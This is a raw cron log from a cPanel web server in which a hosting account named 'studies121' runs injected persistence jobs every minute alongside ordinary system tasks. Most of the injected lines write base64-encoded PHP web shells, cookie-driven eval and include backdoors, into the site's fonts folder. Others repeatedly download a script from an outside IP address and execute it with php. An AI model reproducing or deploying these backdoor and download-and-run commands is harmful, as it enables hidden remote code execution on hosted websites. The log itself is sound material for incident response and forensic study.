Sep  2 11:25:01 ip-184-168-122-23 CROND[6118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:25:01 ip-184-168-122-23 CROND[6119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:26:01 ip-184-168-122-23 CROND[6224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:26:01 ip-184-168-122-23 CROND[6225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:26:01 ip-184-168-122-23 CROND[6229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:26:01 ip-184-168-122-23 CROND[6231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:26:01 ip-184-168-122-23 CROND[6230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:27:01 ip-184-168-122-23 CROND[6329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:27:01 ip-184-168-122-23 CROND[6331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:27:01 ip-184-168-122-23 CROND[6334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:27:01 ip-184-168-122-23 CROND[6336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:28:01 ip-184-168-122-23 CROND[6419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:28:01 ip-184-168-122-23 CROND[6421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:28:01 ip-184-168-122-23 CROND[6424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:28:01 ip-184-168-122-23 CROND[6422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:28:01 ip-184-168-122-23 CROND[6423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:29:01 ip-184-168-122-23 CROND[6593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:29:01 ip-184-168-122-23 CROND[6595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:29:01 ip-184-168-122-23 CROND[6594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:29:01 ip-184-168-122-23 CROND[6596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:30:01 ip-184-168-122-23 CROND[6730]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:30:01 ip-184-168-122-23 CROND[6729]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:30:01 ip-184-168-122-23 CROND[6727]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 11:30:01 ip-184-168-122-23 CROND[6728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:30:01 ip-184-168-122-23 CROND[6734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:30:01 ip-184-168-122-23 CROND[6735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:30:01 ip-184-168-122-23 CROND[6736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:30:01 ip-184-168-122-23 CROND[6739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:31:02 ip-184-168-122-23 CROND[6884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:31:02 ip-184-168-122-23 CROND[6886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:31:02 ip-184-168-122-23 CROND[6887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:31:02 ip-184-168-122-23 CROND[6885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:31:02 ip-184-168-122-23 CROND[6889]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 11:32:01 ip-184-168-122-23 CROND[6996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:32:01 ip-184-168-122-23 CROND[6999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:32:01 ip-184-168-122-23 CROND[6998]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:32:01 ip-184-168-122-23 CROND[7001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:32:01 ip-184-168-122-23 CROND[7000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:33:01 ip-184-168-122-23 CROND[7100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:33:01 ip-184-168-122-23 CROND[7102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:33:01 ip-184-168-122-23 CROND[7101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:33:01 ip-184-168-122-23 CROND[7104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:34:01 ip-184-168-122-23 CROND[7272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:34:01 ip-184-168-122-23 CROND[7273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:34:01 ip-184-168-122-23 CROND[7275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:34:01 ip-184-168-122-23 CROND[7278]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:34:02 ip-184-168-122-23 CROND[7282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:35:01 ip-184-168-122-23 CROND[7409]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 11:35:01 ip-184-168-122-23 CROND[7413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:35:01 ip-184-168-122-23 CROND[7415]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:35:01 ip-184-168-122-23 CROND[7414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:35:01 ip-184-168-122-23 CROND[7418]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 11:35:01 ip-184-168-122-23 CROND[7416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:35:01 ip-184-168-122-23 CROND[7419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:35:01 ip-184-168-122-23 CROND[7420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:36:01 ip-184-168-122-23 CROND[7537]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:36:01 ip-184-168-122-23 CROND[7540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:36:01 ip-184-168-122-23 CROND[7539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:36:01 ip-184-168-122-23 CROND[7543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:36:01 ip-184-168-122-23 CROND[7545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:37:01 ip-184-168-122-23 CROND[7681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:37:01 ip-184-168-122-23 CROND[7683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:37:01 ip-184-168-122-23 CROND[7684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
